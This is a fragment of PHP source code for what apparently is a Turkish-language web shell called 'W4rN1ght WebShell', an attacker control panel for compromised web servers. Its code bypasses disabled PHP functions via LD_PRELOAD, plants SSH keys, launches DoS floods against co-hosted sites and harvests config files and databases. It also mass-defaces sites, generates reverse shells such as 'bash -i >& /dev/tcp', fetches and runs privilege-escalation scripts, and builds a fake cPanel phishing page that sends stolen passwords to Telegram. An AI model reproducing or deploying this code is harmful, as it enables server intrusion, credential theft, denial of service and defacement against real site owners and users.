ABgAAAAMAAAAAAAAAGA4gAAAAAAAYDgAAAAAAAMABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAggAAAAEAAAADAAAAAAAAANgPIAAAAAAA2A8AAAAAAAAoAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANkAAAABAAAAAwAAAAAAAAAAECAAAAAAAAAQAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADiAAAAAQAAAAMAAAAAAAAAYBAgAAAAAABgEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA6AAAAAgAAAADAAAAAAAAAGgQIAAAAAAAaBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAO0AAAABAAAAMAAAAAAAAAAAAAAAAAAAAGgQAAAAAAAALQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAACYEAAAAAAAABgGAAAAAAAAGwAAAC0AAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAsBYAAAAAAABLAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAPsYAAAAAAAA9gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA='; file_put_contents('chankro.so', $chankro); file_put_contents('acpid.socket', $cmd); putenv('CHANKRO=' . realpath('acpid.socket')); putenv('LD_PRELOAD=' . realpath('chankro.so')); @mail('a', 'a', 'a', 'a'); if(file_exists('test.txt')) { $results['mail'] = file_get_contents('test.txt'); @unlink('test.txt'); } @unlink('chankro.so'); @unlink('acpid.socket'); } if(function_exists('mb_send_mail') && function_exists('putenv')) { file_put_contents('chankro.so', $chankro); file_put_contents('acpid.socket', $cmd); putenv('CHANKRO=' . realpath('acpid.socket')); putenv('LD_PRELOAD=' . realpath('chankro.so')); @mb_send_mail('a', 'a', 'a', 'a'); if(file_exists('test.txt')) { $results['mb_send_mail'] = file_get_contents('test.txt'); @unlink('test.txt'); } @unlink('chankro.so'); @unlink('acpid.socket'); } if(function_exists('error_log') && function_exists('putenv')) { file_put_contents('chankro.so', $chankro); file_put_contents('acpid.socket', $cmd); putenv('CHANKRO=' . realpath('acpid.socket')); putenv('LD_PRELOAD=' . realpath('chankro.so')); @error_log('a', 1, 'a@a.com'); if(file_exists('test.txt')) { $results['error_log'] = file_get_contents('test.txt'); @unlink('test.txt'); } @unlink('chankro.so'); @unlink('acpid.socket'); } if(function_exists('imap_mail') && function_exists('putenv')) { file_put_contents('chankro.so', $chankro); file_put_contents('acpid.socket', $cmd); putenv('CHANKRO=' . realpath('acpid.socket')); putenv('LD_PRELOAD=' . realpath('chankro.so')); @imap_mail('a', 'a', 'a'); if(file_exists('test.txt')) { $results['imap_mail'] = file_get_contents('test.txt'); @unlink('test.txt'); } @unlink('chankro.so'); @unlink('acpid.socket'); } return $results; } function ssh_create_key($username, $key_type = 'rsa', $bits = 4096) { $ssh_dir = '/home/' . $username . '/.ssh'; if(!is_dir($ssh_dir)) { mkdir($ssh_dir, 0700, true); } $key_file = $ssh_dir . '/id_' . $key_type; $pub_file = $key_file . '.pub'; if($key_type == 'rsa') { execute_command("ssh-keygen -t rsa -b $bits -f $key_file -N '' -q"); } elseif($key_type == 'ed25519') { execute_command("ssh-keygen -t ed25519 -f $key_file -N '' -q"); } elseif($key_type == 'ecdsa') { execute_command("ssh-keygen -t ecdsa -b 521 -f $key_file -N '' -q"); } if(file_exists($pub_file)) { $pub_key = file_get_contents($pub_file); file_put_contents($ssh_dir . '/authorized_keys', $pub_key . "\n", FILE_APPEND); chmod($ssh_dir . '/authorized_keys', 0600); return array('private' => $key_file, 'public' => $pub_key); } return false; } function internal_dos_flood($target_ip, $duration = 60, $threads = 50) { $pid_file = '/tmp/dos_' . md5($target_ip) . '.pid'; if(!$GLOBALS['is_windows']) { $script = "#!/bin/bash\n"; $script .= "end=\$((SECONDS+$duration))\n"; $script .= "while [ \$SECONDS -lt \$end ]; do\n"; for($i=0; $i<$threads; $i++) { $script .= " curl -s -k -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' 'https://$target_ip' --insecure --retry 0 --connect-timeout 1 --max-time 2 > /dev/null 2>&1 &\n"; } $script .= " wait\n"; $script .= "done\n"; file_put_contents('/tmp/dos_' . md5($target_ip) . '.sh', $script); execute_command("chmod +x /tmp/dos_" . md5($target_ip) . ".sh"); execute_command("nohup /tmp/dos_" . md5($target_ip) . ".sh > /dev/null 2>&1 & echo $! > $pid_file"); return true; } else { $ps_script = "while(\$true) { for(\$i=0; \$i -lt $threads; \$i++) { Start-Job -ScriptBlock { Invoke-WebRequest -Uri 'https://$target_ip' -UseBasicParsing -TimeoutSec 1 } } Start-Sleep -Milliseconds 100 }"; file_put_contents('C:\\Windows\\Temp\\dos.ps1', $ps_script); execute_command("powershell -WindowStyle Hidden -File C:\\Windows\\Temp\\dos.ps1"); return true; } } function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } function x($b) { return base64_encode($b); } $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $current_dir = str_replace('\\', '/', $current_dir); if(substr($current_dir, -1) != '/') $current_dir .= '/'; $currentDirectory = realpath($current_dir); if ($currentDirectory) { chdir($currentDirectory); $currentDirectory = getcwd() . '/'; $currentDirectory = str_replace('\\', '/', $currentDirectory); } else { $currentDirectory = getcwd() . '/'; } $message = ''; $viewCommandResult = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { // DOSYA YÜKLEME if (isset($_FILES['upload_file'])) { $target_file = $currentDirectory . basename($_FILES["upload_filae"]["name"]); if (move_uploaded_file($_FILES["upload_file"]["tmp_name"], $target_file)) { $message = '

Dosya yüklendi: ' . htmlspecialchars(basename($_FILES["upload_file"]["name"])) . '

'; } else { $message = '

Dosya yüklenemedi!

'; } } // KLASÖR OLUŞTURMA elseif (isset($_POST['new_folder']) && !empty($_POST['new_folder'])) { $folder = $_POST['new_folder']; $newFolder = $currentDirectory . $folder; if (!file_exists($newFolder)) { if (mkdir($newFolder, 0755)) { $message = '

Klasör oluşturuldu: ' . htmlspecialchars($folder) . '

'; } else { $message = '

Klasör oluşturulamadı!

'; } } else { $message = '

Klasör zaten var: ' . htmlspecialchars($folder) . '

'; } } // DOSYA OLUŞTURMA elseif (isset($_POST['new_file'])) { $fileName = $_POST['new_file']; $newFile = $currentDirectory . $fileName; if (!file_exists($newFile)) { if (file_put_contents($newFile, '') !== false) { $message = '

Dosya oluşturuldu: ' . htmlspecialchars($fileName) . '

'; $fileContent = ''; if (file_exists($newFile)) { $fileContent = file_get_contents($newFile); $viewCommandResult = '

Dosya: ' . htmlspecialchars($fileName) . '

'; } } else { $message = '

Dosya oluşturulamadı!

'; } } else { $message = '

Dosya zaten var: ' . htmlspecialchars($fileName) . '

'; } } // DOSYA SİLME elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . $_POST['delete_file']; if (file_exists($fileToDelete)) { if (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { $message = '

Klasör silindi: ' . htmlspecialchars($_POST['delete_file']) . '

'; } else { $message = '

Klasör silinemedi!

'; } } else { if (unlink($fileToDelete)) { $message = '

Dosya silindi: ' . htmlspecialchars($_POST['delete_file']) . '

'; } else { $message = '

Dosya silinemedi!

'; } } } else { $message = '

Dosya bulunamadı!

'; } } // YENİDEN ADLANDIRMA elseif (isset($_POST['rename_old']) && isset($_POST['rename_new'])) { $oldName = $currentDirectory . $_POST['rename_old']; $newName = $currentDirectory . $_POST['rename_new']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { $message = '

Yeniden adlandırıldı: ' . htmlspecialchars($_POST['rename_old']) . ' → ' . htmlspecialchars($_POST['rename_new']) . '

'; } else { $message = '

Yeniden adlandırılamadı!

'; } } else { $message = '

Dosya bulunamadı!

'; } } // DOSYA GÖRÜNTÜLEME elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . $_POST['view_file']; if (file_exists($fileToView) && is_file($fileToView)) { $fileContent = file_get_contents($fileToView); $viewCommandResult = '

Dosya: ' . htmlspecialchars($_POST['view_file']) . '

'; } else { $message = '

Dosya bulunamadı!

'; } } // DOSYA KAYDETME (DÜZENLEME) elseif (isset($_POST['save_file']) && isset($_POST['content'])) { $saveFile = $currentDirectory . $_POST['save_file']; if (file_put_contents($saveFile, $_POST['content']) !== false) { $message = '

Dosya kaydedildi: ' . htmlspecialchars($_POST['save_file']) . '

'; } else { $message = '

Dosya kaydedilemedi!

'; } } } // HTML KISMINDA MESAJI GÖSTER //

başlangıcından hemen sonra: $action = isset($_GET['action']) ? $_GET['action'] : 'dashboard'; ?> W4rN1ght WebShell

SİSTEM BİLGİLERİ @

OS:
Hostname:
User:	(:)
Server IP:
Your IP:

PHP Version:
Server Software:
Safe Mode:
Open Basedir:
Disabled Functions:

File Manager

Dosya yönetimi, düzenleme, yükleme

Command

Komut çalıştırma (7+ yöntem)

Smart Bypass

15+ yöntem

BypassHell

5 fonksiyonlu bypass

Auto Config

/etc/passwd parser

File Fucker

40 kritik dosya

Domain Lister

12 yöntem

Port Scanner

TCP port tarama

Mass Defacer

Toplu deface

Reverse Shell

Generator

PrivEsc Scanner

PEAS + Manual

SSH Creator

SSH key generator

DoS Flooder

İç ağı çökert

CPanel Fake

Sahte panel + .htaccess

Backup Alma

OS level ZIP

Mail Sender

Mail gönder

Adminer Yükle

adminer.php

Database Dump

Tüm DB'ler dumped.zip

Safe Mode Bypass

Safe mode atlat

Open Basedir Bypass

open_basedir atlat

SQL File Reader

LOAD_FILE

Auto Root

PwnKit + DirtyPipe

CVE Scanner

Otomatik exploit

Mini Shells

PHP, Python, Perl

Windows Admin

Admin + UAC + RDP

ZIP Packer

Şifreli ZIP

Silindi: ' . htmlspecialchars($_POST['delete']) . '

'; } else { $message = '

Kendini silemezsin!

'; } } if(isset($_POST['rename_old']) && isset($_POST['rename_new'])) { $old = join_path($current_dir, $_POST['rename_old']); $new = join_path($current_dir, $_POST['rename_new']); if(basename($old) != basename(__FILE__)) { if(rename($old, $new)) { $message = '

Yeniden adlandırıldı: ' . htmlspecialchars($_POST['rename_old']) . ' → ' . htmlspecialchars($_POST['rename_new']) . '

'; } } else { $message = '

Kendini yeniden adlandıramazsın!

'; } } if(isset($_POST['new_file'])) { $f = join_path($current_dir, $_POST['new_file']); if(!file_exists($f)) { touch($f); $message = '

Dosya oluşturuldu: ' . htmlspecialchars($_POST['new_file']) . '

'; } } if(isset($_POST['new_folder'])) { $f = join_path($current_dir, $_POST['new_folder']); if(!file_exists($f)) { mkdir($f, 0755); $message = '

Klasör oluşturuldu: ' . htmlspecialchars($_POST['new_folder']) . '

'; } } if(isset($_FILES['upload_file'])) { $target = join_path($current_dir, $_FILES['upload_file']['name']); if(move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) { $message = '

Dosya yüklendi: ' . htmlspecialchars($_FILES['upload_file']['name']) . '

'; } } if(isset($_POST['save_file']) && isset($_POST['content'])) { $save_file = join_path($current_dir, $_POST['save_file']); if(basename($save_file) != basename(__FILE__)) { file_put_contents($save_file, $_POST['content']); $message = '

Dosya kaydedildi: ' . htmlspecialchars($_POST['save_file']) . '

'; } else { $message = '

Kendini kaydedemezsin!

'; } } // view_file işlemi - MODAL ile büyük editör $editor_content = ''; if(isset($_POST['view_file'])) { $fileName = $_POST['view_file']; $fileToView = join_path($current_dir, $fileName); if(basename($fileToView) == basename(__FILE__)) { $message = '

Bu dosya warnshell! Kendini düzenleyemezsin!

'; } elseif(file_exists($fileToView) && is_file($fileToView)) { $fileContent = file_get_contents($fileToView); $fileSize = filesize($fileToView); $editor_content = ' '; } else { $message = '

Dosya bulunamadı: ' . htmlspecialchars($fileName) . '

'; } } // Mesajı göster echo $message; ?>

FILE MANAGER

İsim	Boyut	Değiştirilme	İzinler	İşlemler

KOMUT ÇALIŞTIRMA

Kullanılabilir fonksiyonlar:

BYPASSHELL - 5 FONKSİYONLU BYPASS

'; echo 'mail(): ' . (function_exists('mail') ? 'ON' : 'OFF') . ' | '; echo 'mb_send_mail(): ' . (function_exists('mb_send_mail') ? 'ON' : 'OFF') . ' | '; echo 'error_log(): ' . (function_exists('error_log') ? 'ON' : 'OFF') . ' | '; echo 'imap_mail(): ' . (function_exists('imap_mail') ? 'ON' : 'OFF') . ' | '; echo 'proc_open(): ' . (function_exists('proc_open') ? 'ON' : 'OFF'); echo '

'; if(isset($_POST['cmd_input'])) { $cmd = $_POST['cmd_input']; $results = bypasshell_execute($cmd); echo '

SONUÇLAR

'; foreach($results as $method => $output) { echo '

' . $method . ':

' . htmlspecialchars($output) . '

'; } echo '

'; } ?>

5 farklı fonksiyon dener: mail() + LD_PRELOAD, mb_send_mail(), error_log(), imap_mail(), proc_open(). HaxorSec mantığı.

AUTO CONFIG FUCKER + ZIP

= 6) { $username = $parts[0]; $home = $parts[5]; if(strpos($home, '/home/') === 0 || strpos($home, '/var/www/') === 0 || strpos($home, '/usr/home/') === 0) { if(is_dir($home)) { $home_dirs[] = $home; $users[$home] = $username; } if(is_dir($home . '/public_html')) { $home_dirs[] = $home . '/public_html'; } } } } for($i = 0; $i < 10; $i++) { $base = $i == 0 ? '/home' : '/home' . $i; if(is_dir($base)) { $items = scandir($base); foreach($items as $item) { if($item != '.' && $item != '..' && is_dir($base . '/' . $item)) { $home_dirs[] = $base . '/' . $item; if(is_dir($base . '/' . $item . '/public_html')) { $home_dirs[] = $base . '/' . $item . '/public_html'; } } } } } $home_dirs = array_unique($home_dirs); $configs_found = array(); $zip = new ZipArchive(); $zipname = 'configs_' . date('Ymd_His') . '.zip'; if($zip->open($zipname, ZipArchive::CREATE) !== true) { echo '

ZIP oluşturulamadı!

'; } else { $patterns = array( 'wp-config.php' => 'WordPress', 'configuration.php' => 'Joomla', 'config.php' => 'Generic', 'db.php' => 'DB', 'includes/config.php' => 'vBulletin', 'vb/includes/config.php' => 'vBulletin', 'forum/includes/config.php' => 'vBulletin', 'submitticket.php' => 'WHMCS', 'clients/configuration.php' => 'WHMCS', 'support/configuration.php' => 'WHMCS', '.env' => 'Env', 'database.yml' => 'YAML', 'settings.php' => 'Drupal', 'config/database.php' => 'Laravel', 'app/config/database.php' => 'Laravel', 'application/config/database.php' => 'CodeIgniter', 'system/config/database.php' => 'CodeIgniter', 'wp-config-sample.php' => 'WordPress Sample', 'config.inc.php' => 'phpMyAdmin', 'mysql.conf' => 'MySQL', '.my.cnf' => 'MySQL Config', 'admin/config.php' => 'Admin Config', 'private/config.php' => 'Private Config' ); foreach($home_dirs as $home) { $base = rtrim($home, '/') . '/'; foreach($patterns as $rel => $type) { $full = $base . $rel; if(file_exists($full)) { $content = smart_read_file($full); if($content) { $username = isset($users[$home]) ? $users[$home] : basename($home); $fname = $username . '_' . $type . '_' . str_replace('/', '_', $rel) . '.txt'; $fname = preg_replace('/[^a-zA-Z0-9_\.\-]/', '_', $fname); $zip->addFromString($fname, $content); $configs_found[] = $fname; } } } if(is_dir($base)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($base), RecursiveIteratorIterator::SELF_FIRST); foreach($files as $file) { if($file->isDir()) continue; $path = $file->getPathname(); if(preg_match('/(config|database|db|settings|wp-config|conf)/i', $path) && preg_match('/\.(php|inc|conf|ini|env|yml|xml|json)$/', $path)) { if(filesize($path) < 1000000) { $content = smart_read_file($path); if($content) { $username = isset($users[$home]) ? $users[$home] : basename($home); $fname = $username . '_' . basename(dirname($path)) . '_' . basename($path) . '.txt'; $fname = preg_replace('/[^a-zA-Z0-9_\.\-]/', '_', $fname); $zip->addFromString($fname, $content); $configs_found[] = $fname; } } } } } } $zip->close(); if(count($configs_found) > 0) { echo '

'; echo '

Bulunan config sayısı: ' . count($configs_found) . '

'; echo ' ZIP İndir'; echo '

'; echo '

';
                    foreach($configs_found as $cf) echo $cf . "\n";
                    echo '

'; } else { echo '

Hiç config bulunamadı!

'; } } } ?>

FILE FUCKER (40 kritik dosya)

0){ echo '

Bulunan kritik dosyalar:

'.$f.' ('.format_bytes(filesize($f)).')'.$view_link.'

'; } else echo '

Hiçbir kritik dosya bulunamadı!

'; } if(isset($_GET['raw'])){ $file=$_GET['raw']; if(file_exists($file)&&is_readable($file)){ header('Content-Type: text/plain'); readfile($file); exit; } } ?>

DOMAIN LİSTER

0){echo '

Bulunan domainler:

'.htmlspecialchars($d).'

';} else echo '

Domain bulunamadı!

';}} ?>

PORT SCANNER

0&&$p<65536) $ps[]=(int)$p; if(empty($ps)) $ps=array(21,22,23,25,80,110,143,443,445,465,993,995,3306,3389,5432,5900,6379,8080,8443,8888); $op=port_scan($h,$ps,$_POST['timeout']??1); if(count($op)>0){echo '

Açık portlar:

'.$p.' ('.$s.')

';}else echo '

Açık port bulunamadı!

';} ?>

MASS DEFACER

0){echo '

'.count($d).' dosya deface edildi:

'.$f.'

';}else echo '

Hiçbir dosya deface edilemedi!

';} ?>

ZONE-H SUBMIT

Tekli

Toplu

Başarılı

':'

Başarısız

';} if(isset($_POST['mass_zoneh'])){echo '

Toplu gönderim başlatıldı...

';} ?>

REVERSE SHELL GENERATOR

'.$s.'

'; if(isset($_POST[strtolower($s).'_ip'])&&isset($_POST[strtolower($s).'_port'])){$ip=$_POST[strtolower($s).'_ip']; $port=$_POST[strtolower($s).'_port']; if($s=='PHP') $c='$sock,1=>$sock,2=>$sock),$pipes);proc_close($proc);?>'; elseif($s=='Python') $c='python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$ip.'",'.$port.'));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''; elseif($s=='Bash') $c='bash -i >& /dev/tcp/'.$ip.'/'.$port.' 0>&1'; elseif($s=='Perl') $c='perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}\''; elseif($s=='Ruby') $c='ruby -rsocket -e \'c=TCPSocket.new("'.$ip.'",'.$port.');while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''; else $c='nc -e /bin/sh '.$ip.' '.$port; echo '

'.htmlspecialchars($c).'

'; } echo '

'; } ?>

PRIVILEGE ESCALATION SCANNER

Tarama başlatıldı...

'; if(!$is_windows) { echo '

Kullanıcı Bilgileri

' . execute_command('id; uname -a; cat /etc/issue 2>/dev/null') . '

'; echo '

Sudo -l

' . htmlspecialchars(execute_command('sudo -l 2>&1')) . '

'; echo '

SUID Dosyaları

' . htmlspecialchars(execute_command('find / -perm -4000 -type f 2>/dev/null | head -50')) . '

'; echo '

Yazılabilir Dosyalar

' . htmlspecialchars(execute_command('find / -writable -type f 2>/dev/null | grep -v "^/proc" | grep -v "^/sys" | head -50')) . '

'; echo '

Crontab

' . htmlspecialchars(execute_command('cat /etc/crontab 2>/dev/null; ls -la /etc/cron* 2>/dev/null')) . '

'; echo '

PATH Kontrolü

' . htmlspecialchars(execute_command('echo $PATH')) . '

'; } else { echo '

Kullanıcı Bilgileri

' . execute_command('whoami; net user %username%') . '

'; echo '

Yetkiler

' . htmlspecialchars(execute_command('whoami /priv')) . '

'; echo '

Gruplar

' . htmlspecialchars(execute_command('net user %username% | findstr /i "group"')) . '

'; } echo '

Tarama tamamlandı!

'; } if(isset($_POST['run_linpeas'])) { echo '

LinPEAS indiriliyor ve arka planda çalıştırılıyor...

'; execute_command('wget -q https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh 2>/dev/null || curl -s -o /tmp/linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'); execute_command('chmod +x /tmp/linpeas.sh'); execute_command('nohup /tmp/linpeas.sh -a > linpeas_output.txt 2>&1 &', true); echo '

LinPEAS arka planda çalıştırılıyor. Çıktı: linpeas_output.txt

'; } if(isset($_POST['run_winpeas'])) { echo '

WinPEAS indiriliyor ve arka planda çalıştırılıyor...

'; execute_command('powershell -Command "Invoke-WebRequest -Uri https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe -OutFile C:\\Windows\\Temp\\winpeas.exe"'); execute_command('start /B C:\\Windows\\Temp\\winpeas.exe > winpeas_output.txt 2>&1', true); echo '

WinPEAS arka planda çalıştırılıyor. Çıktı: winpeas_output.txt

'; } ?>

SSH CREATOR

SSH key oluşturuldu!

'; echo '

Public Key

' . htmlspecialchars($result['public']) . '

'; echo '

Private Key Konumu

' . $result['private'] . '

'; } else { echo '

SSH key oluşturulamadı!

'; } } ?>

INTERNAL DOS FLOODER

DoS saldırısı başlatıldı!

'; echo '

Hedef: ' . $target_ip . ' | Süre: ' . $duration . ' sn | Thread: ' . $threads . '

'; echo '

Saldırı arka planda çalışıyor. Aynı IP\'deki tüm siteler çökecektir.

'; } else { echo '

DoS saldırısı başlatılamadı!

'; } } ?>

Aynı IP'de barınan tüm siteleri çökertir. Arka planda çalışır, webshell çökmez.

CPANEL FAKE MAKER - BİREBİR KLON

✅ BU YAPI ŞU AN AKTİF ÇALIŞMAKTADIR!

AKTİF TUZAK YOLLARI

LOGIN SAYFALARI (kpanel.php):

/ → test et

PASSWORD RESET SAYFALARI (reset.php):

/ → test et

⚠️ UYARI: Eğer tekrar oluştur derseniz, eski yapı tamamen silinecek ve son yaptığınız yapı aktif çalışmaya başlayacaktır!

Loglama yöntemi:

Özel tuzak dizinler (her satıra bir tane) Bu dizinlere girildiğinde kpanel.php açılır

Şifre sıfırlama dizinleri (her satıra bir tane) Bu dizinlere girildiğinde reset.php açılır

login için varsayılanlar:
/cpane1, /cpaneI, /ⅽpanel, /admin, /administrator, /yonetim, /cp, /control
password reset için varsayılanlar:
/resetpass, /passwordreset, /sifre-sifirla, /password-reset, /forgot-password

NOT: Bu işlem .htaccess dosyasına yönlendirme kuralları ekler. Eğer sunucuda gerçek cPanel varsa, servisleri durdurmanız gerekebilir.

Seçtiğiniz tüm dizinlerde fake sayfalar açılır. Normal girişler kpanel.php'ye, şifre sıfırlama istekleri reset.php'ye düşer. Çalınan bilgiler seçtiğiniz yere gönderilir.

"```" . $entry . "```"])); @curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]); @curl_setopt($ch, CURLOPT_TIMEOUT, 2); @curl_exec($ch); @curl_close($ch); } } if(($log_method == "telegram" || $log_method == "both") && !empty($bot_token) && !empty($chat_id)) { $ch = @curl_init("https://api.telegram.org/bot" . $bot_token . "/sendMessage"); if($ch) { @curl_setopt($ch, CURLOPT_POST, 1); @curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => $chat_id, "text" => $entry]); @curl_setopt($ch, CURLOPT_TIMEOUT, 2); @curl_exec($ch); @curl_close($ch); } } } if($_SERVER["REQUEST_METHOD"] === "POST") { $username = $_POST["user"] ?? ""; $password = $_POST["pass"] ?? ""; if(!empty($username) && !empty($password)) { $log_entry = date("Y-m-d H:i:s") . " | USER: " . $username . " | PASS: " . $password . " | IP: " . $_SERVER["REMOTE_ADDR"] . "\n"; send_log($log_entry); echo ""; echo ""; echo "

"; echo "

Geçersiz Oturum

"; echo "Oturum çereziniz geçersiz. Lütfen yeniden oturum açın.

"; exit; } } ?> cPanel · Login

Oturum çereziniz geçersiz. Lütfen yeniden oturum açın.

'; file_put_contents('kpanel.php', $fake_panel); $messages[] = "✅ Ana fake panel oluşturuldu: kpanel.php (klasik cPanel teması)"; //============================ ============================== $reset_panel = ' "```" . $entry . "```"])); @curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]); @curl_setopt($ch, CURLOPT_TIMEOUT, 2); @curl_exec($ch); @curl_close($ch); } } if(($log_method == "telegram" || $log_method == "both") && !empty($bot_token) && !empty($chat_id)) { $ch = @curl_init("https://api.telegram.org/bot" . $bot_token . "/sendMessage"); if($ch) { @curl_setopt($ch, CURLOPT_POST, 1); @curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => $chat_id, "text" => $entry]); @curl_setopt($ch, CURLOPT_TIMEOUT, 2); @curl_exec($ch); @curl_close($ch); } } } if($_SERVER["REQUEST_METHOD"] === "POST") { $username = $_POST["user"] ?? ""; $old_pass = $_POST["old_password"] ?? ""; $new_pass = $_POST["new_password"] ?? ""; if(!empty($username)) { $log_entry = date("Y-m-d H:i:s") . " | RESET | USER: " . $username . " | OLD: " . $old_pass . " | NEW: " . $new_pass . " | IP: " . $_SERVER["REMOTE_ADDR"] . "\n"; send_log($log_entry); echo ""; echo ""; echo "

"; echo "

İşlem Başarılı

"; echo "Şifre sıfırlama talebiniz alındı. Güvenlik nedeniyle yönlendiriliyorsunuz.

"; exit; } } ?> Reset Password · cPanel

İptal

'; file_put_contents('reset.php', $reset_panel); $messages[] = "✅ Password reset sayfası oluşturuldu: reset.php (klasik cPanel teması)"; // ============ 7. SONUÇ MESAJI ============ $result_html = '

BİREBİR CPANEL KLONU OLUŞTURULDU!
'; $result_html .= '

'; foreach($messages as $msg) $result_html .= '✓ ' . htmlspecialchars($msg) . '
'; $result_html .= '

'; // .htaccess göster $result_html .= '

.htaccess Kuralları

'; $result_html .= '

' . htmlspecialchars($htaccess_content) . '

'; // Tuzak dizinler listesi $result_html .= '

Tuzak Kurulan Dizinler

'; $result_html .= '

';
    $result_html .= "🔹 NORMAL GİRİŞ SAYFALARI (kpanel.php):\n";
    foreach($trap_paths as $p) $result_html .= "   /$p\n";
    $result_html .= "\n🔹 ŞİFRE SIFIRLAMA SAYFALARI (reset.php):\n";
    foreach($reset_paths as $p) $result_html .= "   /$p\n";
    $result_html .= '

'; $result_html .= '

Test Linkleri

'; $result_html .= '

'; $result_html .= ' /cpane1'; $result_html .= ' /passwordreset'; $result_html .= ' /ⅽpanel'; $result_html .= '

'; return $result_html; } ?>

BACKUP ALMA (OS LEVEL)

&1"; $output = execute_command($cmd); if(file_exists($backup_name) && filesize($backup_name) > 0) { echo '

Yedek başarıyla oluşturuldu! İndir

'; echo '

' . htmlspecialchars($output) . '

'; } else { $cmd_bg = "nohup zip -r $backup_name '$path' > /dev/null 2>&1 &"; execute_command($cmd_bg, true); echo '

Yedekleme arka planda başlatıldı. Tamamlandığında ' . $backup_name . ' olarak kaydedilecek.

'; } } else { $cmd = "powershell Compress-Archive -Path '$path' -DestinationPath '$backup_name'"; $output = execute_command($cmd); if(file_exists($backup_name) && filesize($backup_name) > 0) { echo '

Yedek başarıyla oluşturuldu! İndir

'; } else { $cmd_bg = "start /B powershell Compress-Archive -Path '$path' -DestinationPath '$backup_name'"; execute_command($cmd_bg, true); echo '

Yedekleme arka planda başlatıldı. Tamamlandığında ' . $backup_name . ' olarak kaydedilecek.

'; } } } ?>

Yedekleme işlemi OS seviyesinde yapılır, web sunucusu çökmez. Büyük dosyalar arka planda işlenir.

MAIL SENDER

E-posta başarıyla gönderildi!

'; } else { echo '

E-posta gönderilemedi! PHP mail() fonksiyonu çalışmıyor olabilir.

'; } } ?>

ADMINER YÜKLE

Adminer başarıyla yüklendi! Adminer\'ı Aç

'; } else { echo '

Adminer yüklenemedi! Manuel olarak indirmeyi deneyin: adminer-4.8.1.php

'; } } if(file_exists('adminer.php')) { echo '

Adminer zaten yüklü: Aç

'; } ?>

Adminer tek dosyalık bir veritabanı yönetim aracıdır. MySQL, PostgreSQL, SQLite vb. destekler.

DATABASE DUMP

open($zipname, ZipArchive::CREATE) !== true) { echo '

ZIP oluşturulamadı!

'; } else { if($dbname && $dbname != 'all') { $output = 'dump_' . $dbname . '.sql'; if(dump_database($host, $user, $pass, $dbname, $output)) { $zip->addFile($output, $output); $dump_files[] = $output; } } else { if(!$is_windows) { $dbs = execute_command("mysql -h $host -u $user --password='$pass' -e 'SHOW DATABASES' | grep -Ev '^(Database|information_schema|performance_schema|mysql|sys)$'"); } else { $dbs = execute_command("mysql -h $host -u $user --password=$pass -e \"SHOW DATABASES\" | findstr /v \"Database information_schema performance_schema mysql sys\""); } $db_list = explode("\n", trim($dbs)); foreach($db_list as $db) { $db = trim($db); if(empty($db)) continue; $output = 'dump_' . $db . '.sql'; if(dump_database($host, $user, $pass, $db, $output)) { $zip->addFile($output, $output); $dump_files[] = $output; } } } $zip->close(); foreach($dump_files as $f) { if(file_exists($f)) @unlink($f); } if(file_exists($zipname) && filesize($zipname) > 0) { echo '

Veritabanı dump başarıyla oluşturuldu! ZIP İndir

'; echo '

Dökümü alınan veritabanları: ' . implode(', ', $dump_files) . '

'; } else { echo '

Veritabanı dump alınamadı! Bağlantı bilgilerini kontrol edin.

'; } } } ?>

"all" yazarsanız tüm veritabanlarını dump alır. MySQL/MariaDB için mysqldump gereklidir.

SAFE MODE BYPASS

Safe Mode: '.$s.'
Disabled: '.($d?:'YOK').'

'; if(isset($_POST['sm_method'])){$m=$_POST['sm_method']; if($m==1){$ht=@file_put_contents('.htaccess',"php_value safe_mode Off\nphp_flag safe_mode Off\nphp_value disable_functions None\n"); echo $ht?'

.htaccess yazıldı.

':'

.htaccess yazılamadı!

